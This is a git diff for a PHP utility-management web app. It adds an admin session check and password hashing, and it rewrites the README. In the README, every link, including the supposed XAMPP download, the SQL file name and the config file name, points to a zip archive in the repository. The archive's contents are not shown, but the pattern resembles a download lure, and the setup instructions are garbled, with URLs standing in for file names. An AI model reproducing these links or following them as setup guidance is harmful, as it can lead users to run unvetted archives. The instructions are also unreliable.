diff --git a/README.md b/README.md index 6f773ff..7159b9a 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # 🌐 Public-Utility-Management-System - Simplifying Utility Management For Everyone -[](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip) +[](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip) ## 📋 Introduction @@ -12,12 +12,12 @@ To get started with the Public Utility Management System, follow these simple st 1. **Prepare Your System** Make sure your computer has the following software installed: - - **XAMPP**: This software helps you run a local server to host the application. You can download it [here](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip). + - **XAMPP**: This software helps you run a local server to host the application. You can download it [here](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip). - **Web Browser**: A modern web browser like Chrome, Firefox, or Edge. 2. **Download the Application** Visit this page to download the latest version of the Public Utility Management System: - [Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip) + [Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip) There you will find different versions. Click to download the latest version suitable for your system. 3. **Extract the Files** @@ -38,13 +38,13 @@ To get started with the Public Utility Management System, follow these simple st - Click **Create**. 7. **Import the Database Structure** - Inside the Public Utility Management System folder, locate the SQL file (usually named `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip`). + Inside the Public Utility Management System folder, locate the SQL file (usually named `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip`). - Click on the newly created database in phpMyAdmin. - Click on the **Import** tab. - Choose the SQL file and click **Go** to import the structure. 8. **Configure the Application** - Open the `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip` file in the Public Utility Management System folder. You will need to set the database credentials. Update the following fields: + Open the `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip` file in the Public Utility Management System folder. You will need to set the database credentials. Update the following fields: ```php $dbHost = "localhost"; $dbUser = "root"; // Change if you have a different username @@ -80,7 +80,7 @@ The Public Utility Management System includes several features to help you manag If you encounter issues: - Ensure the XAMPP services are running. - Check that the database is correctly set up in phpMyAdmin. -- Ensure your credentials in `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip` are accurate. +- Ensure your credentials in `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip` are accurate. ## 📞 Support @@ -89,7 +89,7 @@ For support, you can check the Issues section of this repository. If you have qu ## 📥 Download & Install To download and install the application, visit this page: -[Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip) +[Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip) Follow the steps outlined in the "Getting Started" section to set up the application on your local machine. diff --git a/admin/dashboard_admin.php b/admin/dashboard_admin.php index 1a139ab..476c836 100644 --- a/admin/dashboard_admin.php +++ b/admin/dashboard_admin.php @@ -3,6 +3,11 @@ include('../includes/db_connect.php'); require_once('activity_log.php'); +if (!isset($_SESSION['role']) || $_SESSION['role'] != 'admin') { + header("Location: ../index.php"); + exit; +} + // ===== Admin Details ===== $admin_name = $_SESSION['admin_name'] ?? 'Admin'; $admin_id = $_SESSION['admin_id'] ?? 1; diff --git a/admin/manage_customers.php b/admin/manage_customers.php index 68e10f6..b9858be 100644 --- a/admin/manage_customers.php +++ b/admin/manage_customers.php @@ -85,6 +85,7 @@ function get_pagination_params($default_limit = 50) $phone = sanitize_input($_POST['phone']); $email = sanitize_input($_POST['email']); $password = sanitize_input($_POST['password']); + $hashed_password = hash_password($password); $house_stmt = $conn->prepare("INSERT INTO house (House_Number, Owner_Name, Address) VALUES (?, ?, ?)"); $house_stmt->bind_param("sss", $house_num, $owner, $address); @@ -92,7 +93,7 @@ function get_pagination_params($default_limit = 50) if ($house_stmt->execute()) { $house_id = $house_stmt->insert_id; $cust_stmt = $conn->prepare("INSERT INTO customer (Name, Phone, Email, Password, House_ID) VALUES (?, ?, ?, ?, ?)"); - $cust_stmt->bind_param("ssssi", $name, $phone, $email, $password, $house_id); + $cust_stmt->bind_param("ssssi", $name, $phone, $email, $hashed_password, $house_id); if ($cust_stmt->execute()) { $toast = "Customer and House added successfully!"; @@ -350,7 +351,7 @@ function get_pagination_params($default_limit = 50)